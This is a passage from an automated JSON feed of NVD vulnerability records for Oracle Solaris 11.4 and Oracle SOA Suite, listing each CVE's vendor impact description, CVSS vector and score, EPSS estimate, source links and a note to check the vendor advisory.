fixes.","publishedAt":"2026-10-20T22:20:26.540Z","updatedAt":"2026-10-22T19:18:03.593Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91255","asOf":"2026-10-22T19:18:03.593Z"},"epss":{"probability":0.00441,"percentile":0.38009,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91255&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91255","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91255","type":"primary","publishedAt":"2026-10-20T22:20:26.540Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91255&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91255, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91254","cveId":"CVE-2026-91254","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel).","summary":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Solaris. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).","detail":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Solaris. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:26.427Z","updatedAt":"2026-10-22T19:18:03.477Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91254","asOf":"2026-10-22T19:18:03.477Z"},"epss":{"probability":0.00441,"percentile":0.38008,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91254&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91254","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91254","type":"primary","publishedAt":"2026-10-20T22:20:26.427Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91254&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91254, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91253","cveId":"CVE-2026-91253","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel).","summary":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:26.313Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91253","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00151,"percentile":0.04192,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91253&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91253","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91253","type":"primary","publishedAt":"2026-10-20T22:20:26.313Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91253&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91253, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91252","cveId":"CVE-2026-91252","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Services).","summary":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Services).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Solaris and  unauthorized read access to a subset of Oracle Solaris accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H).","detail":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Services).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Solaris and  unauthorized read access to a subset of Oracle Solaris accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:26.207Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91252","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00408,"percentile":0.34824,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91252&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91252","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91252","type":"primary","publishedAt":"2026-10-20T22:20:26.207Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91252&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91252, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91242","cveId":"CVE-2026-91242","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Plugins).","summary":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Plugins).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Solaris, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Solaris accessible data as well as  unauthorized access to critical data or complete access to all Oracle Solaris accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Plugins).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Solaris, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Solaris accessible data as well as  unauthorized access to critical data or complete access to all Oracle Solaris accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:25.050Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91242","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00148,"percentile":0.03982,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91242&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91242","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91242","type":"primary","publishedAt":"2026-10-20T22:20:25.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91242&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91242, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91239","cveId":"CVE-2026-91239","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:24.697Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91239","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00447,"percentile":0.38566,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91239&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91239","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91239","type":"primary","publishedAt":"2026-10-20T22:20:24.697Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91239&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91239, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91238","cveId":"CVE-2026-91238","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle SOA Suite accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle SOA Suite. CVSS 3.1 Base Score 7.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle SOA Suite accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle SOA Suite. CVSS 3.1 Base Score 7.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:24.590Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91238","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00354,"percentile":0.28762,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91238&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91238","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91238","type":"primary","publishedAt":"2026-10-20T22:20:24.590Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91238&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91238, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91237","cveId":"CVE-2026-91237","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle SOA Suite accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle SOA Suite accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:24.477Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91237","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00398,"percentile":0.3373,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91237&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91237","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91237","type":"primary","publishedAt":"2026-10-20T22:20:24.477Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91237&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91237, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91229","cveId":"CVE-2026-91229","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:23.550Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91229","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00345,"percentile":0.27835,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91229&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91229","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91229","type":"primary","publishedAt":"2026-10-20T22:20:23.550Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91229&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91229, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91228","cveId":"CVE-2026-91228","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle SOA Suite accessible data as well as  unauthorized update, insert or delete access to some of Oracle SOA Suite accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle SOA Suite accessible data as well as  unauthorized update, insert or delete access to some of Oracle SOA Suite accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:23.433Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91228","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00303,"percentile":0.2279,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91228&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91228","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91228","type":"primary","publishedAt":"2026-10-20T22:20:23.433Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS 